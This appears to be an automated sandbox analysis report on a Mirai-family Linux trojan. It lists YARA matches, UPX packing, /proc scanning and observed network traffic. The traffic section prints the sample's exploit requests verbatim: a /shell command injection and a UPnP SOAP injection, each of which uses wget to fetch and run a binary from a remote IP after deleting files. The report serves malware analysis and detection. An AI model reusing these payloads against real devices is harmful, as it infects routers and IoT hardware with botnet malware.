    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: unknownDNS traffic detected: queries for: daisy.ubuntu.com
    Source: unknownHTTP traffic detected: POST /picdesc.xml HTTP/1.1Host: 127.0.0.1:52869Content-Length: 630Accept-Encoding: gzip, deflateSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMappingAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Connection: keep-aliveData Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:E
    Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenConnection: closeContent-Type: text/html; charset=utf-8Content-Length: 337Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 36 22 3e 3c 74 69 74 6c 65 3e 4e 54 52 33 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 66 72 61 6d 65 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 31 30 2e 31 30 2e 33 34 2e 33 36 2f 3f 74 79 70 65 3d 49 6e 76 61 6c 69 64 20 4b 65 79 77 6f 72 64 26 70 6f 6c 69 63 79 3d 4d 61 69 6e 50 6f 6c 69 63 79 20 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 31 30 30 25 3b 20 68 65 69 67 68 74 3a 20 31 30 30 25 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 76 73 70 61 63 65 3d 22 30 22 20 68 73 70 61 63 65 3d 22 30 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1256"><title>NTR3</title></head><body><iframe src="http://10.10.34.36/?type=Invalid Keyword&policy=MainPolicy " style="width: 100%; height: 100%" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" vspace="0" hspace="0"></iframe></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenConnection: closeContent-Type: text/html; charset=utf-8Content-Length: 337Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 36 22 3e 3c 74 69 74 6c 65 3e 4e 54 52 33 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 66 72 61 6d 65 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 31 30 2e 31 30 2e 33 34 2e 33 36 2f 3f 74 79 70 65 3d 49 6e 76 61 6c 69 64 20 4b 65 79 77 6f 72 64 26 70 6f 6c 69 63 79 3d 4d 61 69 6e 50 6f 6c 69 63 79 20 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 31 30 30 25 3b 20 68 65 69 67 68 74 3a 20 31 30 30 25 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 76 73 70 61 63 65 3d 22 30 22 20 68 73 70 61 63 65 3d 22 30 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1256"><title>NTR3</title></head><body><iframe src="http://10.10.34.36/?type=Invalid Keyword&policy=MainPolicy " style="width: 100%; height: 100%" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" vspace="0" hspace="0"></iframe></body></html>
    Source: na.elf, 5823.1.0000000008048000.0000000008058000.r-x.sdmpString found in binary or memory: http://147.78.103.89/bins/mips
    Source: na.elf, 5823.1.0000000008048000.0000000008058000.r-x.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
    Source: na.elf, 5823.1.0000000008048000.0000000008058000.r-x.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
    Source: na.elfString found in binary or memory: http://upx.sf.net

    System Summary

    barindex
    Malicious sample detected (through community Yara rule)
    Source: 5823.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
    Source: 5823.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
    Source: 5823.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
    Source: 5823.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
    Source: 5823.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
    Source: LOAD without section mappingsProgram segment: 0x8048000
    Source: 5823.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
    Source: 5823.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
    Source: 5823.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
    Source: 5823.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
    Source: 5823.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
    Source: classification engineClassification label: mal80.troj.evad.linELF@0/0@2/0

    Data Obfuscation

    barindex
    Sample is packed with UPX
    Source: initial sampleString containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
    Source: initial sampleString containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
    Source: initial sampleString containing UPX found: $Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/110/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/110/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/231/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/231/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/111/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/111/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/112/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/112/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/233/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/233/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/113/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/113/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/114/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/114/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/235/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/235/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/115/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/115/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/1333/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/1333/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/116/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/116/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/1695/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/1695/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/117/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/117/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/118/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/118/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/119/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/119/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/911/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/911/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/914/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/914/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/10/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/10/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/917/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/917/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/11/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/11/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/12/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/12/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/13/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/13/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/14/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/14/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/15/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/15/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/16/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/16/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/17/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/17/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/18/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/18/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/19/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/19/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/1591/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/1591/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/120/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/120/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/121/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/121/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/5827/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/5827/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/1/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/1/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/122/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/122/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/243/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/243/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/5828/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/5828/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/2/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/2/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/123/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/123/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/5829/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/5829/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/3/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/3/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/124/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/124/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/1588/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/1588/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/125/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/125/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/4/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/4/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/246/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/246/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/126/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/126/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/5/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/5/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/127/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/127/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/6/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/6/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/1585/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/1585/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/128/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/128/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/7/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/7/cmdlineJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/129/mapsJump to behavior
    Source: /tmp/na.elf (PID: 5825)File opened: /proc/129/cmdlineJump to behavior

    Hooking and other Techniques for Hiding and Protection

    barindex
    Uses known network protocols on non-standard ports
    Source: unknownNetwork traffic detected: HTTP traffic on port 46904 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 52710 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42726 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57206 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49648 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34322 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52286 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52296 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52710 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34322 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52286 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52296 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57206 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42726 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34322 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52286 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52296 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57206 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34322 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52286 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52296 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37396 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 52710 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57206 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34322 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42726 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52286 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52296 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49206 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 49206 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 45052 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49258 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49206 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57206 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39780 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34322 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39796 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42932 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46810 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 55318 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42950 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39796 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46826 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 58178 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 55318 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42932 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39796 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 55318 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42950 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46810 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 58178 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47350 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 45052 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49258 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39780 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49206 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 52710 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 40724 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46826 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 55198 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 55204 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 40730 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42726 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 55318 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 40730 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52286 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42932 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42950 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52296 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39796 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 58178 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46810 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 40730 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46826 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 40724 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47350 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34042 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 56202 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 56202 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 55318 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 35926 -> 52869
